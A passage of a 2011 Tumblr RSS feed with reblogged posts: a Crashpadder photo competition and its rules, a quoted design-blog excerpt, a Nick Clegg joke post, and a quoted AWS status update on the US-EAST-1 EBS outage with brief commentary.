&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/10100075278</link><guid>http://danhilltech.tumblr.com/post/10100075278</guid><pubDate>Sun, 11 Sep 2011 23:07:07 +0100</pubDate></item><item><title>crashpadderhq:

Who are your favourite travel buddies? Post a...</title><description>&lt;img src="http://24.media.tumblr.com/tumblr_lp3lvjiEuu1qlulkeo1_r1_500.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://blog.crashpadder.com/post/8337870760"&gt;crashpadderhq&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal"&gt;Who are your favourite travel buddies? Post a photo on our &lt;a href="http://www.facebook.com/crashpadder"&gt;Facebook wall&lt;/a&gt; with your favourite travel buddy/buddies tagged for a chance to win a free weekend with any Crashpadder host around the world! (£100 max)&lt;/p&gt;
&lt;p class="MsoNormal"&gt;After you post your photo, you will have until Friday to beg, steal, or borrow (just kidding, begging is the only option!) the most ‘likes’ on your photo. The earlier you post, the more time you’ll have to collect ‘likes’. The photo with the most ‘likes’ will be the winner!&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;strong&gt;Competition begins: NOW! (01/08/11)&lt;/strong&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;strong&gt;Competition ends: This Friday at noon (05/08/11)&lt;/strong&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;a href="http://www.facebook.com/crashpadder"&gt;Post your Photo Now &lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;Rules:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;One photo per person&lt;/li&gt;
&lt;li&gt;The count ends 05/08/11 at noon - any ‘likes’ after that will not be counted.&lt;/li&gt;
&lt;li&gt;£100 must go to accommodation with a Crashpadder pad of choice by (01/08/12) &lt;/li&gt;
&lt;li&gt;The £100 is allowed to go towards the accommodation for you and a friend.&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/8339186429</link><guid>http://danhilltech.tumblr.com/post/8339186429</guid><pubDate>Mon, 01 Aug 2011 14:22:44 +0100</pubDate></item><item><title>Elezea // B-sides: The tyranny of the mundane, or how nobody is happy any more.</title><description>&lt;a href="http://b.elezea.com/post/5634364539"&gt;Elezea // B-sides: The tyranny of the mundane, or how nobody is happy any more.&lt;/a&gt;: &lt;p&gt;&lt;a href="http://b.elezea.com/post/5634364539"&gt;elezea&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There’s a &lt;a target="_blank" href="http://designmind.frogdesign.com/blog/lets-make-magic-again.html"&gt;good article on Design Mind&lt;/a&gt; in response to a recent &lt;a target="_blank" href="http://sethgodin.typepad.com/seths_blog/2011/05/an-end-of-magic.html"&gt;Seth Godin post about technology and magic&lt;/a&gt;. Here’s the part that stood out for me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To me that’s all we’re really talking about, and core to Godin’s point (whether it was intended or not) is that stuff doesn’t wow us anymore,…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/5637017551</link><guid>http://danhilltech.tumblr.com/post/5637017551</guid><pubDate>Thu, 19 May 2011 14:38:12 +0100</pubDate></item><item><title>nickclegglookingsad:

Nick Clegg wishes you wouldn’t keep taking...</title><description>&lt;img src="http://25.media.tumblr.com/tumblr_lkrn4fuElE1qjjck0o1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://nickclegglookingsad.tumblr.com/post/5239714059"&gt;nickclegglookingsad&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nick Clegg wishes you wouldn’t keep taking his stuff, and then when he comes to get it back, throwing it to someone else so he can’t have it back.&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/5246279209</link><guid>http://danhilltech.tumblr.com/post/5246279209</guid><pubDate>Fri, 06 May 2011 17:37:53 +0100</pubDate></item><item><title>@aws fail. @bt fail. @nakedwines win. At least something is...</title><description>&lt;img src="http://25.media.tumblr.com/tumblr_lk0i1tjzvW1qj662oo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;@aws fail. @bt fail. @nakedwines win. At least something is working today.&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/4809552074</link><guid>http://danhilltech.tumblr.com/post/4809552074</guid><pubDate>Thu, 21 Apr 2011 18:03:14 +0100</pubDate></item><item><title>"We’d like to provide additional color on what were working on right now (please note that we..."</title><description>“We’d like to provide additional color on what were working on right now (please note that we always know more and understand issues better after we fully recover and dive deep into the post mortem). A networking event early this morning triggered a large amount of re-mirroring of EBS volumes in US-EAST-1. This re-mirroring created a shortage of capacity in one of the US-EAST-1 Availability Zones, which impacted new EBS volume creation as well as the pace with which we could re-mirror and recover affected EBS volumes. Additionally, one of our internal control planes for EBS has become inundated such that it’s difficult to create new EBS volumes and EBS backed instances. We are working as quickly as possible to add capacity to that one Availability Zone to speed up the re-mirroring, and working to restore the control plane issue. We’re starting to see progress on these efforts, but are not there yet. We will continue to provide updates when we have them.”&lt;br/&gt;&lt;br/&gt; - &lt;em&gt;Starting to sound really quite serious… Not sure how fast one can add capacity, either physically or re-mapping from elsewhere. Time will tell. &lt;/em&gt;</description><link>http://danhilltech.tumblr.com/post/4808419509</link><guid>http://danhilltech.tumblr.com/post/4808419509</guid><pubDate>Thu, 21 Apr 2011 17:13:33 +0100</pubDate><category>amazon ec2</category><category>aws</category><category>fail</category></item></channel></rss>
